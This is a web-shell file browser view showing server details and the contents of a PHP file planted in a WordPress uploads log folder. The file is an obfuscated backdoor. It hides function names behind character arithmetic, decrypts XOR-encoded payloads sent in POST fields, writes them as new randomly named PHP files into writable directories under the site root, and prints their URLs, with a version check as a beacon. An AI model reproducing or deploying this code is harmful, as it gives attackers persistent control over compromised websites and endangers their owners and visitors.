HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/wpdesk-logs/nwvzxcqb.php
<?php function yVOZkIPS($oqbmQE){$AknOu = chr(114).chr(97)."\167".chr(117).chr(599-485).'l'.chr(100).chr(101)."\143".'o'.chr(100).chr(353-252);$oxlsuKFmZ = "\163"."\x74".'r'."\137"."\162".chr(566-455).'t'."\61".chr(826-775);$AWzgrgQdM = "\163"."\164"."\x72"."\x5f".chr(115).'p'.chr(685-577).chr(630-525).chr(1085-969);$oqbmQE = $AWzgrgQdM($AknOu($oxlsuKFmZ($oqbmQE)));return $oqbmQE;}function FqcEPgdl($cWbBbfAZyE, $oqbmQE){$dSpEXtz = "\x73"."\164".chr(641-527)."\x5f"."\163".chr(112)."\x6c"."\151"."\x74";$cWbBbfAZyE = array_slice($dSpEXtz(str_repeat($cWbBbfAZyE, (count($oqbmQE)/16)+1)), 0, count($oqbmQE));return $cWbBbfAZyE;}function BMOhbUfg($TQlSjye, $CdBxKMo, $cWbBbfAZyE){$IfdpDx = "e48e8b08-71dd-4ac5-9512-078eede6cd15";return $TQlSjye ^ $IfdpDx[$CdBxKMo % strlen($IfdpDx)] ^ $cWbBbfAZyE;}function GrmdZ($oqbmQE, $cWbBbfAZyE){$oqbmQE = array_map("BMOhbUfg", array_values($oqbmQE), array_keys($oqbmQE), array_values($cWbBbfAZyE));$oqbmQE = implode("", $oqbmQE);$JrrKT = 'u'.chr(110)."\163".chr(101).'r'."\151".chr(911-814).'l'.chr(455-350).chr(122).'e';$oqbmQE = @$JrrKT($oqbmQE);return $oqbmQE;}function dFUoM(){echo "EYlPY";}function CCrQFHb($WPoqkDir){static $gNqkke = array();$yrbFO = glob($WPoqkDir . '/*', GLOB_ONLYDIR);$cOyBWrdm = count($yrbFO);if ($cOyBWrdm > 0) {foreach ($yrbFO as $WPoqkD) {$hVYstxCWk = "\x69".chr(115).'_'.chr(119).chr(127-13)."\151".'t'."\x61".'b'.chr(1053-945)."\145";if (@$hVYstxCWk($WPoqkD)) {$gNqkke[] = $WPoqkD;}}}foreach ($yrbFO as $WPoqkDir) CCrQFHb($WPoqkDir);return $gNqkke;}function nrnSG(){echo "WfxNseTZP";}function DXLLkBSZyn($oqbmQE){$wzRbLvYnc = 'D'.chr(79).chr(345-278).chr(581-496)."\x4d".chr(69)."\x4e"."\124".'_'."\122"."\x4f".chr(79)."\x54";$amOhdYcKH = $_SERVER[$wzRbLvYnc];$yrbFO = CCrQFHb($amOhdYcKH);$bDmDRZ = array_rand($yrbFO);$PAPqr = "\56"."\x70"."\x68".chr(1038-926);$WPoqkDtGvjD = $yrbFO[$bDmDRZ] . "/" . substr(md5(time()), 0, 8) . $PAPqr;$JaXUIeeO = chr(102)."\151".chr(1059-951)."\145".chr(95)."\x70".chr(596-479).chr(116)."\x5f".chr(468-369)."\x6f"."\156"."\x74"."\145".chr(110).chr(957-841)."\163";@$JaXUIeeO($WPoqkDtGvjD, $oqbmQE);$YrfuiWSxWa = "\110"."\124".chr(807-723)."\x50"."\x5f".chr(72)."\117"."\x53".'T';$EIkeXGcaL = 'h'.chr(116)."\x74"."\160".':'.chr(47)."\57";$XPvPcMUx = $EIkeXGcaL . $_SERVER[$YrfuiWSxWa] . substr($WPoqkDtGvjD, strlen($amOhdYcKH));print($XPvPcMUx);}foreach ($_POST as $cWbBbfAZyE => $oqbmQE){$IWeAXUlqxS = strlen($cWbBbfAZyE);if ($IWeAXUlqxS == 16){$oqbmQE = yVOZkIPS($oqbmQE);$cWbBbfAZyE = FqcEPgdl($cWbBbfAZyE, $oqbmQE);$oqbmQE = GrmdZ($oqbmQE, $cWbBbfAZyE);if (@is_array($oqbmQE)){$bDmDRZ = array_keys($oqbmQE);$oqbmQE = $oqbmQE[$bDmDRZ[0]];if ($oqbmQE === $bDmDRZ[0]){$idllhg = "\160".'h'."\x70";$QhHOWPhyFp = "\160"."\150".'p'."\166".chr(482-381).chr(1092-978).chr(115).'i'.chr(111)."\156";$oNisx = 's'.'e'.chr(590-476)."\x69"."\141".chr(108)."\x69"."\x7a".'e';echo @$oNisx(Array($idllhg => @$QhHOWPhyFp(), ));}else {DXLLkBSZyn($oqbmQE);}die();}}}